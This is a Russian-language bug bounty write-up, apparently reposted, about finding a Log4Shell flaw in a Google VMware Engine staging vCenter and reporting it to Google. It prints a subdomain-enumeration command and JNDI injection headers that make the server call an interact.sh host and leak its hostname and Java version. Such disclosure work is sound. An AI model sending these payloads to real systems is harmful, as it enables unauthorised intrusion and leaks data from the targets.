Log4shell в Google

Log4shell в Google

Этичный Хакер

Просматривая продукты облачной консоли Google «https://console.cloud.google.com» в поисках ошибок, я наткнулся на VMware Engine.

Который при нажатии перенаправляет на «https://service.cloudvmwareengine.google».

Я подумал о том, что Google наверняка активно использует свои собственные продукты, поэтому, возможно, получится найти на «cloudvmwareengine» открытый vCenter, который Google использует сам и который будет уязвим для log4j. К счастью для меня, я смог его найти.

Я начал искать основные поддомены для cloudvmwareengine.google с помощью простой команды:

subfinder -d cloudvmwareengine.google | httpx -cname -probe -status-code -silent -title -follow-redirects -threads 1000 | egrep -v ".(FAILED|503|404)"

и наткнулся на «https://vcenter.9181548.us-central1.sddc-stg.cloudvmwareengine.google». К моему счастью, это был vCenter, который использовался Google и был уязвим для log4j.

Я перешел в директорию /ui, и домен перенаправил меня на

https://vcenter.9181548.us-central1.sddc-stg.cloudvmwareengine.google./websso/SAML2/SSO/gce.local?SAMLRequest=

Увидев gce.local, который меня очень взволновал, я настроил локальный клиент interactsh:

interactsh-client -v

и просто добавил заголовок в запрос, чтобы проверить, можем ли мы взаимодействовать с сервером

X-Fowarded-For: ${jndi:ldap://x${hostName}.L4J.whatever.interact.sh/a}

Серверу потребовалось некоторое время на ответ и он вернул ответ с кодом 403 Forbidden, но, к моему удивлению, я получил взаимодействие с сервером!

Вау, я нашел потенциальную RCE в Google. Так как это было в декабре, проблема с log4j просто разрывала интернет, и я не хотел так рано отправлять эту ошибку в Google, я хотел дать им время и позволить решить проблему внутри. Поэтому я записал домен в свои заметки и забыл об этом.

Прошло полтора месяца, и я вспомнил: «Эй, я нашел потенциальную RCE в Google через log4j, пойдем и проверим, исправил ли Google её самостоятельно или она все еще уязвима. И, к моему счастью, уязвимость все еще существовала, поэтому я снова все настроил и на этот раз решил сначала использовать canary token «https://canarytokens.org/generate», и отправил тот же запрос с сервером.

После долгой загрузки он снова ответил запретом 403 Forbidden, но через несколько мгновений я получил это потрясающее уведомление:

Да, я был очень взволнован этим. Затем я настроил локальный сервер Interactsh и проверил, могу ли я извлечь работающую версию java.version, чтобы знать, могу ли я повысить влияние этой уязвимости. Я добавил

X-Forwarded-For: ${jndi:ldap://${hostName}.§§.${sys:java.version}.whatever.interact.sh}

И через пару секунд я получил взаимодействие с сервером вместе с работающей версией Java. Я сразу же прекратил тестирование и сообщил о проблеме в Google. Уязвимость была проверена и сразу же принята как P0.

Спустя неделю ожидания, я получил вознаграждение:

Однако его размер меня смутил и я попросил разъяснения от Google.

Хорошо, теперь это имеет смысл. Даже если так, я не стремился к пользовательским данным, моя цель состояла в том, чтобы получить доступ к чему-либо внутреннему от Google.

Я хочу поблагодарить команду Google за самое быстрое время отклика, которое я когда-либо видел, и за профессионализм на всех уровнях, это очень много значит для меня.

На этом все. Спасибо за просмотр!



Report Page